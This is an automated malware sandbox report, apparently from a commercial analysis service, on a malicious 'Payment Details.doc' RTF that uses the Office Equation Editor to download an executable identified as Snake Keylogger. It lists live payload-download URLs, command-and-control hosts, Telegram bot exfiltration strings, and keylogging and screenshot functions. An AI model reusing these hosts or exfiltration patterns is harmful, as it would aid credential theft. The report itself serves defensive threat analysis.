Source: ncfplgpeter20306.exe, 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000003.383078527.00000000002D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.383201670.00000000002D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.383161486.000000000028F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/HgCppsoKmxQq.exe
Source: EQNEDT32.EXE, 00000002.00000003.383078527.00000000002D5000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.383201670.00000000002D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/HgCppsoKmxQq.exeflC:
Source: EQNEDT32.EXE, 00000002.00000002.383161486.000000000028F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/HgCppsoKmxQq.exej
Source: EQNEDT32.EXE, 00000002.00000002.383161486.000000000028F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://66.63.187.123/txt/HgCppsoKmxQq.exeqqC:
Source: ncfplgpeter20306.exe, 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002481000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: ncfplgpeter20306.exe, 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002481000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000261E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025D9000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025BC000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000260B000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025E6000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025B4000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002521000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025D9000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025BC000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000260B000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025E6000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025B4000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002521000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002512000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002564000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002481000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: ncfplgpeter20306.exe, 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: ncfplgpeter20306.exe, 00000009.00000002.908145978.0000000005C70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: ncfplgpeter20306.exe, 00000009.00000002.908145978.0000000005C70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025D9000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025BC000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000260B000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000253A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: ncfplgpeter20306.exe, 00000005.00000002.393368543.0000000002187000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002481000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ncfplgpeter20306.exe, 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002481000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002738000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003547000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000034FB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026F7000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002725000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000261E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: ncfplgpeter20306.exe, 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000261E000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000261E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000261E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:609290%0D%0ADate%20a
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002738000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003547000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000034FB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026F7000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002725000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002738000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003547000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000034FB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026F7000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002725000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002738000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003547000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000034FB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026F7000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002725000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002738000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003547000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000034FB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026F7000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002725000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025D9000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025BC000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000260B000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002521000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002564000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: ncfplgpeter20306.exe, 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002521000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002564000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025D9000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025BC000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.000000000260B000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002564000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.334
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002738000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003547000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000034FB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026F7000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002725000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002738000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003547000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000034FB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026F7000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002725000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.00000000026E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: ncfplgpeter20306.exe, 00000009.00000002.907619571.000000000359D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: ncfplgpeter20306.exe, 00000009.00000002.907619571.000000000359D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: ncfplgpeter20306.exe, 00000009.00000002.907619571.000000000359D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: ncfplgpeter20306.exe, 00000009.00000002.907194224.0000000002738000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003651000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000036AB000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003686000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000035D2000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.000000000359D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003588000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.000000000359D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003588000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.000000000359D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000035AA000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.000000000363C000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.000000000365E000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.00000000035E2000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003696000.00000004.00000800.00020000.00000000.sdmp, ncfplgpeter20306.exe, 00000009.00000002.907619571.0000000003588000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/indextest
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49178 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: Payment Details.doc
Malicious sample detected (through community Yara rule)
Source: Payment Details.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000009.00000002.906972286.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.395781634.00000000032DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.395781634.0000000003139000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: ncfplgpeter20306.exe PID: 3444, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: ncfplgpeter20306.exe PID: 3520, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\HgCppsoKmxQq[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_0017604B 5_2_0017604B
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_00173C10 5_2_00173C10
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_0017B152 5_2_0017B152
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_0017B160 5_2_0017B160
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_0017A408 5_2_0017A408
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_0017B598 5_2_0017B598
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_0017B588 5_2_0017B588
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_0017A840 5_2_0017A840
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 5_2_0017AC78 5_2_0017AC78
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C903A 9_2_001C903A
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C390C 9_2_001C390C
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C895E 9_2_001C895E
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C31B1 9_2_001C31B1
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C4217 9_2_001C4217
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C7200 9_2_001C7200
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C8278 9_2_001C8278
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C4A9F 9_2_001C4A9F
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C9BC2 9_2_001C9BC2
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C3482 9_2_001C3482
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C44FF 9_2_001C44FF
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C4D6F 9_2_001C4D6F
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C5E70 9_2_001C5E70
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001CDEC8 9_2_001CDEC8
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C6728 9_2_001C6728
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001C47D0 9_2_001C47D0
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001CEA20 9_2_001CEA20
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001CF351 9_2_001CF351
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Code function: 9_2_001CFC80 9_2_001CFC80
